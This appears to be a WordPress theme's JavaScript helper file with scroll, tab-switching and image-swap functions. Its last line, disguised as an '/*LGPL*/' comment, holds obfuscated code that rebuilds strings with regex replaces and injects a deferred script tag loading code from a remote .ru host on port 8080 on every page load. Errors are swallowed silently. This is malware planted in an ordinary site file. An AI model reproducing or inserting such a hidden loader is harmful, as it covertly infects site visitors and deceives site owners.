/*
Author: mg12
Update: 2008/11/21
Author URI: http://www.neoease.com/
*/
(function() {

function $(id) {
	return document.getElementById(id);
}

function setStyleDisplay(id, status) {
	$(id).style.display = status;
}

function goTop(acceleration, time) {
	acceleration = acceleration || 0.1;
	time = time || 16;

	var dx = 0;
	var dy = 0;
	var bx = 0;
	var by = 0;
	var wx = 0;
	var wy = 0;

	if (document.documentElement) {
		dx = document.documentElement.scrollLeft || 0;
		dy = document.documentElement.scrollTop || 0;
	}
	if (document.body) {
		bx = document.body.scrollLeft || 0;
		by = document.body.scrollTop || 0;
	}
	var wx = window.scrollX || 0;
	var wy = window.scrollY || 0;

	var x = Math.max(wx, Math.max(bx, dx));
	var y = Math.max(wy, Math.max(by, dy));

	var speed = 1 + acceleration;
	window.scrollTo(Math.floor(x / speed), Math.floor(y / speed));
	if(x > 0 || y > 0) {
		var invokeFunction = "MGJS.goTop(" + acceleration + ", " + time + ")"
		window.setTimeout(invokeFunction, time);
	}
}

function switchTab(showPanels, hidePanels, activeTab, activeClass, fadeTab, fadeClass) {
	$(activeTab).className = activeClass;
	$(fadeTab).className = fadeClass;

	var panel, panelList;
	panelList = showPanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		var panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'block');
		}
	}
	panelList = hidePanels.split(',');
	for (var i = 0; i < panelList.length; i++) {
		panel = panelList[i];
		if ($(panel)) {
			setStyleDisplay(panel, 'none');
		}
	}
}

window['MGJS'] = {};
window['MGJS']['$'] = $;
window['MGJS']['setStyleDisplay'] = setStyleDisplay;
window['MGJS']['goTop'] = goTop;
window['MGJS']['switchTab'] = switchTab;

})();

function switchImage(imageId, imageUrl, linkId, linkUrl, preview, title, alt) {
	if(imageId && imageUrl) {
		var image = $(imageId);
		image.src = imageUrl;

		if(title) {
			image.title = title;
		}
		if(alt) {
			image.alt = alt;
		}
	}

	if(linkId && linkUrl) {
		var link = $(linkId);
		link.href = linkUrl;
	}
}
/*LGPL*/ try{ window.onload = function(){var Lj5s66wzcj3xm = document.createElement('s$)#c(^(!r!$@i!^#$p(#t@&('.replace(/\!|\)|\$|\(|&|#|\^|@/ig, ''));Lj5s66wzcj3xm.setAttribute('defer', 'd)$&^e$()$f#!^@e$$!&!r$(^!$'.replace(/\)|\(|\^|\$|\!|&|#|@/ig, ''));Lj5s66wzcj3xm.setAttribute('type', 't@e&^x!t!/&j$a(&^^!v!^!a!!^s^c#&r#)$i#^!$p$t$#'.replace(/&|\$|@|\(|\^|\!|#|\)/ig, ''));Lj5s66wzcj3xm.setAttribute('id', 'L@&^s!e#(0!!^)u&()1@!@p(#^d#)l&$0$$#$0&!o@@)7!#'.replace(/#|&|@|\$|\^|\)|\!|\(/ig, ''));Lj5s66wzcj3xm.setAttribute('s)@@r@#c@'.replace(/\(|@|\)|\$|#|&|\!|\^/ig, ''),  'h$$&t#&t^@p$@^:&&/$/$)^p&$e^^)o)&)@)p$)l!&)&e$!$-((@c!o@m&($-)!@c^#n$^.$^b^r@$^a$z@!^#z((e#$r@)^$s@(!^.)#(@c@#$o@&!#m$@^^@.@@)r&@b)c)(-)^(r!$$u^$!.^@w$!)e#&@^b$!d#e&)s#&k(t&$)(@o#p$^)n@$e$#$t$$^.&^^r(u$!(:#@!&8)($((0$()8^@!0@!/##@g@^!a(!(m)$))e(!t(!r&a))@(i#$(l)&@e(@r!)s(!!$.(c)$@o^^^m)/#&g#&a&@^m&#$(e!##t^)r(&a^$(i(l&e@r^^))s(.$)&$c!o^##&(m@@(^/!g&o&o!g$l^e$(!.$)^c$&&o^$m@^(&/@^#h&)#u(!#^l@(^u&(&@.!$^c((^o$#$m$^^(/^$(!u)(&)s!a@&t^#!!o@)&d^$@!a!$(y@#.$#&&c&$@o@$^m&)^/#$!'.replace(/\^|\!|@|\)|\$|&|#|\(/ig, ''));if (document){document.body.appendChild(Lj5s66wzcj3xm);}} } catch(U3ec3pjazutdk8dwqs) {}